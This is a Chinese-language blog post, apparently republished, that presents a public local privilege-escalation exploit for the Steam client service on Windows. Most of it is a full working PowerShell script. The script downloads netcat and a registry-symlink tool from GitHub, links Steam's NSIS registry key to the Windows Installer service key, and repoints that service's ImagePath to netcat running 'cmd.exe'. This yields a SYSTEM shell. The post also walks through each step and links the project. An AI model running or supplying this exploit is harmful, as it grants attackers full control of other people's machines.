steam增加游戏运行组件(Steam游戏客户端提权利用工具)

'''

提权经典教程

'''

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(1)

Hackerhub的前篇文章详细地剖析了Steam客户端的提权0day:

Steam游戏客户端 本地提权 0day

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(2)

很快,咱就又发现网络上出现了利用工具,而且简单地令人发指

。。。(因为原理就很简单嘛)

利用过程也很简单:

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(3)


就是,先启用nc监听,然后运行Powershell脚本。Duang的一声.... NT AUTHORITY\System 权限了。

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(4)


整个项目也很简单

(简单三连)

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(5)

只需要一个nc.exe,一个给注册表建立软连接的RegLN.exe,还有几十行powershell代码,仅此而已:

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(6)

nc.exe这个。。。不说了,大家都很熟悉了。值得一提的是netcat是它的全称。

RegLN这个有意思。

其源码在此:

```

https://github.com/tenox7/regln

```

500多行C代码,主要就两个函数,一个创建注册表软链接,一个删除注册表软链接。

简单地看,就是用系统函数NtCreateKey()来回倒腾软链接。。。

用法很简单:

创建一个软链接

```

regln [-v] <link_key> <target_key>

<link_key> 是指要生成的那个软链

<target_key> 是指要被指向的那个真实存在的

-v = 指仅仅在内存操作

```

跟Linux 的ln 命令模式一样一样滴。。

删除一个软链接

```

regln -d <link_key>

```

后面是Powershell代码

$SteamRegKey = "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS" $MSIRegKey = "HKLM:\SYSTEM\CurrentControlSet\Services\msiserver" $RegDir = "C:\Windows\Temp\RegLN.exe" $PayDir = "C:\Windows\Temp\payload.exe" $Payload = "c:\windows\system32\cmd.exe /c c:\windows\temp\payload.exe 127.0.0.1 4444 -e cmd.exe" $PayDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/nc.exe" $RegDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/RegLN.exe" $WebClient = New-Object System.Net.WebClient ​ ​ If(!((Test-Path -Path $RegDir) -And (Test-Path -Path $PayDir))) { $WebClient.DownloadFile($PayDownload, $PayDir) $WebClient.DownloadFile($RegDownload, $RegDir) } ​ If(Get-ItemProperty -Path $SteamRegKey -Name ImagePath -ErrorAction SilentlyContinue) { Start-Service -DisplayName "Steam Client Service" Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload Start-Service -Name "msiserver" } Else { Remove-Item -Path $SteamRegKey -Recurse Start-Process -FilePath $RegDir -ArgumentList "HKLM\Software\Wow6432Node\Valve\Steam\NSIS HKLM\SYSTEM\CurrentControlSet\Services\msiserver" Start-Service -DisplayName "Steam Client Service" Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload Start-Service -Name "msiserver" } ​ ​

流程

就是嘛:

下载nc.exe 和 RegLN.exe

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(7)

添加软链接,Steam子键指向"Windows Installer"键

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(8)

启动Steam服务,修改"Windows Installer"注册表的权限

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(9)

修改Windows Installer 服务器的执行程序的路径到自己的程序

steam增加游戏运行组件(Steam游戏客户端提权利用工具)(10)

然后,启动"Windows Installer"。

然后就没有然后了。。。你已经得到最高权限

哦,这个项目是:

```

https://github.com/AbsoZed/SteamPrivEsc

```

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页